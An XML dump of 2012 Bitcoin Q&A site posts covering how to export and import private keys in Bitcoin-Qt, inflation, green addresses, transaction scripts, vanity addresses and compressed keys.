  <row Id="5933" PostTypeId="2" ParentId="4203" CreationDate="2012-12-28T16:54:28.857" Score="48" Body="&lt;p&gt;To export a private key from your Satoshi bitcoin-qt client:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;launch your bitcoin client as usual and wait for it to load the blockchain and start up&lt;/li&gt;&#xA;&lt;li&gt;click on 'help' in the menu bar (top right) &lt;/li&gt;&#xA;&lt;li&gt;click on 'debug window' &lt;/li&gt;&#xA;&lt;li&gt;select the 'console' tab&lt;/li&gt;&#xA;&lt;li&gt;type: walletpassphrase &quot;your walletpassphrase here&quot; 600&lt;/li&gt;&#xA;&lt;li&gt;type: dumpprivkey [your Bitcoin address here] &lt;/li&gt;&#xA;&lt;li&gt;this will return the private key, you can copy it now; ensure you clear your clipboard/history afterwards&lt;/li&gt;&#xA;&lt;li&gt;type: walletlock&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2516" LastEditorUserId="153" LastEditDate="2015-10-11T03:20:30.850" LastActivityDate="2015-10-11T03:20:30.850" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5934" PostTypeId="2" ParentId="5931" CreationDate="2012-12-28T17:30:54.113" Score="7" Body="&lt;p&gt;There are many causes for inflation, but the two most often agreed upon, &lt;a href=&quot;http://www.investopedia.com/university/inflation/inflation1.asp&quot; rel=&quot;noreferrer&quot;&gt;according to Investopedia&lt;/a&gt;, are these:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Demand-Pull Inflation&lt;/strong&gt; - This theory can be summarized as &quot;too much&#xA;  money chasing too few goods&quot;. In other words, if demand is growing&#xA;  faster than supply, prices will increase. This usually occurs in&#xA;  growing economies. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Cost-Push Inflation&lt;/strong&gt; - When companies' costs go up, they need to&#xA;  increase prices to maintain their profit margins. Increased costs can&#xA;  include things such as wages, taxes, or increased costs of imports.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Fiat currency inflation absent these forces can be driven by the creation of money through speculative fractional reserve bank lending practices as well as simple &quot;printing of money&quot; by the central bank responsible for a government's currency. It is in the interest of the government's ability to spend that it be able to freely create money out of nothing, which is the veritable definition of &lt;em&gt;fiat&lt;/em&gt;, Latin for &quot;let it be&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advantages of inflation include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Steady rise in prices&lt;/li&gt;&#xA;&lt;li&gt;Steady rise in value of non-liquid assets, e.g. not cash&lt;/li&gt;&#xA;&lt;li&gt;Supposedly an indicator of growth&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Disadvantages of inflation include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cost of goods increases because one unit of money does not have as much purchasing power as it did previously&lt;/li&gt;&#xA;&lt;li&gt;Decrease in the value of stored liquid assets, e.g. cash in a non interest-bearing account&lt;/li&gt;&#xA;&lt;li&gt;Potential for hyperinflation&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Bitcoin's deflationary quality is based on the assertion that a currency must have scarcity in order to be valuable. By limiting what amount can enter the system, it ensures that no individual can increase the supply and inflate the value relative to physical goods.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2012-12-28T17:30:54.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5935" PostTypeId="2" ParentId="3093" CreationDate="2012-12-29T12:55:33.073" Score="0" Body="&lt;p&gt;An up to date light-weight library is being developed that interfaces with the bitcoin network, includes great extras for example: &lt;em&gt;generating receipts&lt;/em&gt; that saves total cost as well as the list of product ids(and verifyable checksums for data integrity), &lt;em&gt;no database integration required&lt;/em&gt;.  There is also the bitcoin &lt;em&gt;address ownership verification&lt;/em&gt; function as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its called &lt;strong&gt;Bitcoin Development Kit&lt;/strong&gt; the link to the source code is here: &lt;a href=&quot;https://github.com/Xenland/Bitcoin-Development-Kit&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Xenland/Bitcoin-Development-Kit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website is &lt;a href=&quot;http://BitcoinDevKit.com&quot; rel=&quot;nofollow&quot;&gt;http://BitcoinDevKit.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="782" LastEditorUserId="782" LastEditDate="2013-01-26T08:32:17.037" LastActivityDate="2013-01-26T08:32:17.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5937" PostTypeId="2" ParentId="460" CreationDate="2012-12-30T16:42:49.707" Score="2" Body="&lt;p&gt;A module is now available for Drupal Commerce : &lt;a href=&quot;http://drupal.org/project/commerce_bitcoin&quot; rel=&quot;nofollow&quot;&gt;Commerce Bitcoin&lt;/a&gt;. Still in Dev though !&lt;/p&gt;&#xA;" OwnerUserId="2523" LastActivityDate="2012-12-30T16:42:49.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5938" PostTypeId="1" AcceptedAnswerId="6000" CreationDate="2012-12-30T18:16:16.987" Score="3" ViewCount="869" Body="&lt;p&gt;I'm trying to get the time series for a specific period from &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;Blockchain&lt;/a&gt; but the JSON seems to not be there anymore. Does anyone know if the JSON API is not available anymore or it is a temporary issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example when trying to access &lt;a href=&quot;https://blockchain.info/charts/hash-rate&amp;amp;format=json&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/charts/hash-rate&amp;amp;format=json&lt;/a&gt; I get an &lt;em&gt;Unknown Exception&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2525" LastEditorUserId="22837" LastEditDate="2015-02-20T06:23:16.753" LastActivityDate="2015-02-20T06:23:16.753" Title="blockchain.info JSON API problem" Tags="|blockchain|api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5940" PostTypeId="2" ParentId="4824" CreationDate="2012-12-31T01:10:59.353" Score="2" Body="&lt;p&gt;I am not a lawyer but I think this &lt;a href=&quot;http://bitcoinmagazine.net/a-recap-of-mega-corporate-and-government-attention-on-bitcoin-this-past-year/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Magazine Article&lt;/a&gt; should be informative. As far as case-law goes I would check out the &lt;a href=&quot;http://arstechnica.com/tech-policy/2012/08/bitcoinica-users-sue-for-342qw-in-lost-bitcoins/&quot; rel=&quot;nofollow&quot;&gt;bitcoinica bankruptcy suit&lt;/a&gt; as well as the &lt;a href=&quot;http://arstechnica.com/tech-policy/2012/03/lawsuit-illustrates-bitcoins-chargeback-problem/&quot; rel=&quot;nofollow&quot;&gt;tradehill bankruptcy suit&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2012-12-31T01:10:59.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5941" PostTypeId="1" AcceptedAnswerId="5944" CreationDate="2012-12-31T03:11:30.790" Score="45" ViewCount="70715" Body="&lt;p&gt;How do I import a private key into Bitcoin-Qt? bitcoind is nowhere to be found, and pywallet says it requires &quot;bsddb&quot; when I run it, which is also nowhere to be found. I generated some vanity addresses and I want to use them.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastEditorUserId="9822" LastEditDate="2018-01-30T09:03:38.267" LastActivityDate="2018-01-30T09:04:03.837" Title="How do I import a private key into Bitcoin-Core?" Tags="|bitcoin-core|private-key|import|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5942" PostTypeId="2" ParentId="5822" CreationDate="2012-12-31T03:14:49.280" Score="0" Body="&lt;p&gt;Did you include the transaction fee? If you don't, most miners won't accept it. The same thing happened to me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you need to wait until it syncs. You can check if it's been included by going to &lt;code&gt;blockchain.info/address/*the address to which you sent it*&lt;/code&gt;. If it worked, the transaction should be listed there.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastEditorUserId="1409" LastEditDate="2012-12-31T08:20:27.640" LastActivityDate="2012-12-31T08:20:27.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5943" PostTypeId="2" ParentId="3835" CreationDate="2012-12-31T03:19:15.210" Score="4" Body="&lt;p&gt;If you look at a graph of the value of 1 bitcoin, that huge spike and drop was caused by someone hacking Mt.Gox and selling everyone's bitcoins to him/her for $0.00, dropping down the value to $0, and it stayed low as more people sold their bitcoins to make sure it wouldn't happen to them. It's been slowly rising since then.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2012-12-31T03:19:15.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5944" PostTypeId="2" ParentId="5941" CreationDate="2012-12-31T03:51:20.983" Score="47" Body="&lt;ol&gt;&#xA;&lt;li&gt;Run Bitcoin-Core&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;strong&gt;Help&lt;/strong&gt; (to the right of Settings)&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;strong&gt;Debug Window&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;strong&gt;Console&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;If you encrypted your wallet, unlock it by entering &lt;code&gt;walletpassphrase &quot;YourLongPassphrase&quot; 600&lt;/code&gt; next to the &gt; input box&lt;/li&gt;&#xA;&lt;li&gt;Next to the &gt; input box type &lt;code&gt;importprivkey &amp;lt;bitcoinprivkey&amp;gt;&lt;/code&gt; (Note that the private key must not have spaces, remove them if they are included in your backup)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;code&gt;importprivkey 5KJvsngHeMpm884wtkJNzQGaCErckhHJBGFsvd3VyK5qMZXj3hS&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2527" LastEditorUserId="9822" LastEditDate="2018-01-30T09:04:03.837" LastActivityDate="2018-01-30T09:04:03.837" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5945" PostTypeId="2" ParentId="5808" CreationDate="2012-12-31T04:33:18.620" Score="0" Body="&lt;p&gt;There is a no central place or tool yet, but there is a very informative &lt;a href=&quot;http://eprint.iacr.org/2012/584.pdf&quot; rel=&quot;nofollow&quot;&gt;paper&lt;/a&gt; by &lt;a href=&quot;http://en.wikipedia.org/wiki/Adi_Shamir&quot; rel=&quot;nofollow&quot;&gt;Adi Shamir&lt;/a&gt; one of the giants of cryptography.&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2012-12-31T04:33:18.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5946" PostTypeId="1" AcceptedAnswerId="5949" CreationDate="2012-12-31T16:18:05.830" Score="3" ViewCount="337" Body="&lt;p&gt;Suppose a user pays for a service (&lt;code&gt;service1&lt;/code&gt;) using a &quot;green address&quot; (0 confirmations required) and &lt;code&gt;service1&lt;/code&gt; needs to immediately respend it using it's own green address  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How many blocks should the service wait before respending that money to a normal Bitcoin-QT user?  (assuming the QT client doesn't recognize Green addresses)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Suppose the service sends the funds to another service  (&lt;code&gt;service2&lt;/code&gt;) that recognizes it's coming from a green address.  There are still zero confirmations.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;What would the block chain look like?  (Specifically can the multiple transactions appear in the same block?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can the multiple zero confirmations appear out of order?  (I know the answer is &quot;no&quot;, but I'd like to know how &amp;amp; why)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-01-02T09:45:27.317" Title="Double spending from &quot;green addresses&quot; &amp; mitigation" Tags="|bitcoin-core|doublespend|green-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5947" PostTypeId="1" CreationDate="2012-12-31T17:05:49.480" Score="3" ViewCount="401" Body="&lt;p&gt;Well after getting a new graphics card (7770) I can mine bitcoins at around 120 - 180 Mhash/s Depending if I run it at full power or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I thought I would try and mine myself an address using it but the miner just seems to not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Vanitygen (Linked below) oclvanitygen I set it off mining with reports of it mining at around 4MKeys/s but nothing was showing up after 5 mins worth of time(I tried a simple prefix of 1r).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then tried using just vanitygen64 and in seconds it found an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=25804.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=25804.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2529" LastEditorUserId="120" LastEditDate="2013-01-03T17:17:41.523" LastActivityDate="2018-09-12T11:00:43.570" Title="Vanity Mining Error?" Tags="|vanity-address|vanitygen|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5948" PostTypeId="1" AcceptedAnswerId="5951" CreationDate="2012-12-31T18:56:16.830" Score="7" ViewCount="3664" Body="&lt;p&gt;I would like to send transactions with messages as described in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;wiki&quot;&gt;wiki&lt;/a&gt;. In &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4486/transaction-with-slightly-changed-script-is-never-relayed&quot;&gt;Transaction with slightly changed script is never relayed&lt;/a&gt;, someone answered that non-standard transactions are not relaid by the client. I was wondering if this will affect this type of transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I would like to know if there is a source code that implement this functionality. I need to send small data (SHA256) as a digital signature that can be view by all the peers in the network and is associated to this specific transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much and your help is very appreciated&lt;/p&gt;&#xA;" OwnerUserId="2530" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2014-02-18T00:31:19.207" Title="Can I send message inside the transactions script?" Tags="|script|java|message|c++|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5949" PostTypeId="2" ParentId="5946" CreationDate="2012-12-31T19:14:34.290" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If service1 trusts service0's green address implicitly, it can send the coins immediately; there is no advantage to waiting. The recipient can then decide how many blocks to wait for before treating the payment as confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If service0's green address isn't trusted, service1 needs to take into account that if service0 double-spends, service1 will be liable for the reversed transaction to service2. He can remedy it by resending with different coins, but it still won't look good.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The inputs of a transaction can reference outputs of transactions in the same block. So the block will include (interspersed with other transactions) a sequence of transactions where each one references the previous one.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As far as I know, no. An input can only reference the output of a previous transaction, where &quot;previous&quot; is either in a previous block or an earlier (in listing order) transaction in the same block. I couldn't find a definite confirmation for this, however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why - it makes sense and it makes sure there can be no cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How - I suppose that when a client builds the list of transactions to include in a block, it puts aside any transactions which reference a transaction which was not yet included. Afterwards it can go back to add these transactions (multiple passes may be needed if there is a chain of multiple consecutive transactions).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2013-01-02T09:45:27.317" LastActivityDate="2013-01-02T09:45:27.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5950" PostTypeId="2" ParentId="569" CreationDate="2012-12-31T20:21:16.900" Score="16" Body="&lt;p&gt;After studying Bitcoin Arbitrage for the past few months, I've developed an information service to answer this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.cointhink.com&quot;&gt;CoinThink.com&lt;/a&gt; gives a complete picture of arbitrage. All asks that have a bid at a higher price (on another exchange) are tallied into a total opportunity amount, including the fees for each exchange. It also makes an estimate on the fee for moving money between exchanges. The result is a total dollar amount available for arbitrage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exchanges are limited to those that have an automated transfer capability - basically a connection to bitinstant. I am interested in extending the site's functionality to bigger and better information in the future.&lt;/p&gt;&#xA;" OwnerUserId="2531" LastEditorUserId="2531" LastEditDate="2013-01-04T22:53:53.040" LastActivityDate="2013-01-04T22:53:53.040" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5951" PostTypeId="2" ParentId="5948" CreationDate="2012-12-31T21:32:33.607" Score="5" Body="&lt;p&gt;You will find that non-standard transactions are very hard to get into the block chain. Instead, encode the additional information as accounts and send a single satoshi to each account needed to convey your message. That way, you can use standard transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction &lt;a href=&quot;http://blockexplorer.com/tx/28ccf29cfcc9f82d42793db770e7c7894d61ccf3d18299f34bda2e54415da287&quot;&gt;28ccf29cfcc9f82d42793db770e7c7894d61ccf3d18299f34bda2e54415da287&lt;/a&gt; is a particularly silly example of this.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-12-31T21:32:33.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5952" PostTypeId="1" CreationDate="2012-12-31T22:59:38.573" Score="24" ViewCount="9328" Body="&lt;p&gt;My question is about the difference between compressed keys and addresses, and i know it was addressed in another question but my question is less about the theory and more about how the keys are used practically in Bitcoin.&lt;/p&gt;&#xA;&lt;p&gt;So heres what I did: I used &lt;code&gt;dumpprivkey&lt;/code&gt; for an address &lt;code&gt;183Tw2TqXKkbk5ZeocTYwmxg8x46ADXb6c&lt;/code&gt; in the .7.2 client, and got &lt;code&gt;L5DTi7rgqsPg7Vq1vTU2dP2HWMEsNM5w5JCqEDXXXXXXXXXXXX&lt;/code&gt;. When i pasted this into &lt;a href=&quot;https://www.bitaddress.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitaddress.org's&lt;/a&gt; wallet details script it returned several things. First, it showed a different address &lt;code&gt;1FKswUuFsjWKyr4ZPSe3vEpp1iCXXChBZm&lt;/code&gt;, but it also showed the address above and said it was the compressed version. I sent like 0.0001 to each of the 2 addresses and my satoshi client only shows a transaction recieved from the 183 (compressed) address.&lt;/p&gt;&#xA;&lt;p&gt;Can someone please explain in practical terms what the difference is and why they both even exist in Bitcoin? Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1976" LastEditorUserId="106912" LastEditDate="2020-07-16T16:22:44.003" LastActivityDate="2020-09-02T11:11:21.257" Title="Why does Bitcoin support both compressed and uncompressed keys/addresses?" Tags="|address|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="5953" PostTypeId="1" CreationDate="2012-12-31T23:09:43.530" Score="3" ViewCount="431" Body="&lt;p&gt;What are the specific parts of a transaction(s) that need to be signed in the &quot;&lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_4%3a_Using_external_state&quot; rel=&quot;nofollow&quot;&gt;inheritance scripting sample&lt;/a&gt;&quot;.  Specifically, can someone provide more detail on what exactly is signed of the transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming there are approximately 3 transactions, but unsure of what is signed by whom, and the portion of the Tx that is/isn't signed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The tx that is sent to a new address with the exact amount (published)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The tx that is created but with a time of 10 years (not published)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) The tx that is created but pending some oracle logic (not published)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm interested in is #3 and what does the oracle specifically sign?  What does that Tx look like? &lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2013-02-25T03:47:27.730" LastActivityDate="2014-11-20T21:10:25.580" Title="How should a Bitcoin Oracle verify a transaction prior to signing?" Tags="|transactions|script|oracle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5954" PostTypeId="5" CreationDate="2012-12-31T23:12:37.443" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=25804.0&quot; rel=&quot;nofollow&quot;&gt;Vanitygen&lt;/a&gt; allows you to specify part of your bitcoin address. It does this by repeatedly generating new addresses, and throwing away the ones that don't match. It has a companion program called &lt;code&gt;oclvanitygen&lt;/code&gt; which achieves a massive speedup by using your graphics card instead of your CPU. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;vanitygenminer&lt;/code&gt; connects to various vanity address pools and earns bitcoins by generating addresses and claiming bounties for them.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-01-01T10:48:39.323" LastActivityDate="2013-01-01T10:48:39.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5955" PostTypeId="4" CreationDate="2012-12-31T23:12:37.443" Score="0" Body="vanitygen allows you to specify part of your bitcoin address." OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-01-01T10:48:31.413" LastActivityDate="2013-01-01T10:48:31.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5956" PostTypeId="1" AcceptedAnswerId="5958" CreationDate="2012-12-31T23:21:57.507" Score="3" ViewCount="255" Body="&lt;p&gt;I'm trying to understand how a script works but am having trouble reading a script (the output of one Tx... and the input of a second Tx) and figuring out how the computer (bitcoin-qt) knows which input in the script is data and which is a command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please correct my assumption:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The script is read left to right and is the concatenation of the output of a preceding Transaction to the input of a consuming Transaction&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A script output can have only one corresponding transaction script that consumes it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There are several script commands and several are disabled in the current version of the client&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The script can not rely on outside information (stock ticker) but can rely on an Oracle for these dependencies.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The script commands that are &quot;commands&quot; require certain data to be on the stack in order to function correctly&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There are &quot;standard scripts&quot; (but I'm unclear if this means non-standard scripts may never get incorporated into a block)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the concatenated evaluation of a preceding Tx Output and a subsequent Tx Input evaluates to true, then the transaction is valid.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can anyone tell me if those thoughts about scripts are correct?  &lt;/li&gt;&#xA;&lt;li&gt;How does the forth like processor know the difference between data on the stack and commands on the stack?&lt;/li&gt;&#xA;&lt;li&gt;Does the processor think everything is just data until it hits data that matches a known &quot;function&quot; &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-01-01T00:54:44.213" Title="How do I read a script? How does the processor separate &quot;data&quot; from &quot;commands&quot;?" Tags="|transactions|development|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5957" PostTypeId="1" CreationDate="2012-12-31T23:46:37.403" Score="4" ViewCount="73" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2025/what-is-txins-sequence&quot;&gt;What is TxIn’s sequence?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;What are the logical conditions that would require me to change a sequence number?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose there is this transaction&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  txid: abcdefghi...  sequence:1  input:1someVanityName  output:1otherVanityName  ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... and the people who mutually created this TX decide to revise some information.   Perhaps change the amount, or lock duration.  &lt;a href=&quot;https://bitcoin.stackexchange.com/a/5888/1878&quot;&gt;Since a tx number will change once the sequence # changes,&lt;/a&gt; (or any change for that matter) when should I logically change the sequence number?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;...when I change the amount or lock duration?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;...when I change the output script?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;...when I add / remove addresses from the input portion of the tx?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;...when I add / remove addresses from the output portion of the tx?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Eventually I may modify the transaction in such a way it has no resemblance to the original tx... and may apply to a whole different set of circumstances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When should I increment the sequence number versus creating a new tx?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2012-12-31T23:46:37.403" Title="When should I increment the sequence number vs creating a brand new Tx?" Tags="|transactions|" AnswerCount="0" CommentCount="1" ClosedDate="2013-01-04T16:28:37.440" ContentLicense="CC BY-SA 3.0" />
  <row Id="5958" PostTypeId="2" ParentId="5956" CreationDate="2013-01-01T00:54:44.213" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The script is read left to right and is the concatenation of the output of a preceding Transaction to the input of a consuming Transaction&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Basically, though the scripts are not actually concatenated. The scriptSig is run, and then the scriptPubKey is run on the resulting stack. This distinction is occasionally important.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A script output can have only one corresponding transaction script that consumes it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are many possible scriptSigs that could &quot;solve&quot; any scriptPubKey, but each output can only be spent once in a valid block chain.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;but I'm unclear if this means non-standard scripts may never get incorporated into a block&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They can get into blocks, though miners using the standard client will never add them to &lt;em&gt;their&lt;/em&gt; blocks.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How does the forth like processor know the difference between data on the stack and commands on the stack?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Data is preceded by bytes 1 through 78, the pushdata ops.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2013-01-01T00:54:44.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5959" PostTypeId="2" ParentId="5596" CreationDate="2013-01-01T03:44:14.400" Score="0" Body="&lt;p&gt;Difficulty based derivatives would be like this:&#xA;&lt;a href=&quot;http://mpex.co/?mpsic=X.IDIFF.MAR&quot; rel=&quot;nofollow&quot;&gt;http://mpex.co/?mpsic=X.IDIFF.MAR&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miners can buy them to ensure a set level of difficulty for their operations.&lt;/p&gt;&#xA;" OwnerUserId="615" LastActivityDate="2013-01-01T03:44:14.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5960" PostTypeId="2" ParentId="5952" CreationDate="2013-01-01T20:01:36.467" Score="23" Body="&lt;p&gt;The reason they exist both, is because Satoshi didn't know about compressed public keys, and it was only recently discovered that they would be possible to use without compatibility problems (support only exists as of version 0.6 of the reference client).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage is clear: their public keys are smaller, resulting in smaller transactions on the network, saving block chain size for everyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: inside SegWit spends, only compressed keys can be used.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2017-10-30T16:21:33.043" LastActivityDate="2017-10-30T16:21:33.043" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
